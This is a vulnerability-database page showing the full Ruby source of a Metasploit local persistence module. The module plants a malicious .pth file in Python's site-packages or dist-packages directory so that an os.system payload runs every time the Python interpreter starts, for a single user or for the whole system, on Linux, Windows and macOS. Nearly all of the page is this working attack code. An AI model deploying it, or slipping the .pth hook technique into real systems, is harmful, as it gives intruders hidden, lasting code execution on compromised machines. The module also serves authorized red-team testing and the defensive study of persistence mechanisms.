Lucene search
+L

Python Site-Specific Hook Persistence

🗓️ 29 Sep 2012 00:00:00Reported by msutovsky-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 311 Views

Python startup hooks in site packages can execute imports automatically, enabling persistence.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Python Site-Specific Hook Persistence',
        'Description' => %q{
          This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'msutovsky-r7', # msf module
        ],
        'Platform' => ['linux', 'windows', 'osx'],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [[ 'Auto', {} ]],
        'References' => [
          [ 'URL', 'https://docs.python.org/3/library/site.html'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],
        ],
        'DisclosureDate' => '2012-09-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
        }
      )
    )
    register_options([
      OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),
      OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])
    ])
  end

  def get_hooks_path
    unless datastore['PYTHON_HOOK_PATH'].blank?
      @hooks_path = datastore['PYTHON_HOOK_PATH']
      return
    end
    case session.platform
    when 'windows', 'win'

      case datastore['EXECUTION_TARGET']
      when 'USER'
        @hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")
      when 'SYSTEM'
        @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
      end
    when 'osx', 'linux'

      case datastore['EXECUTION_TARGET']
      when 'USER'
        @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
      when 'SYSTEM'
        @hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"
      end
    end
  end

  def get_python_version
    case session.platform
    when 'windows', 'win'
      cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/
    when 'osx', 'linux'
      cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
    end

    @python_version = Regexp.last_match(1)
  end

  def check
    get_python_version

    return CheckCode::Safe('Python not present on the system') unless @python_version

    CheckCode::Vulnerable('Python is present on the system')
  end

  def install_persistence
    get_python_version unless @python_version
    print_status("Detected Python version #{@python_version}")
    get_hooks_path unless @hooks_path

    mkdir(@hooks_path, cleanup: false) if session.platform == 'osx' || session.platform == 'linux'

    fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
    # check if hooks path writable
    begin
      # windows only ps payloads have writable? so try that first
      fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)
    rescue RuntimeError
      filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
      write_file(filename, '')
      fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)
      rm_f(filename)
    end

    print_status("Got path to site-specific hooks #{@hooks_path}")

    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)

    fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))

    print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")
    @clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation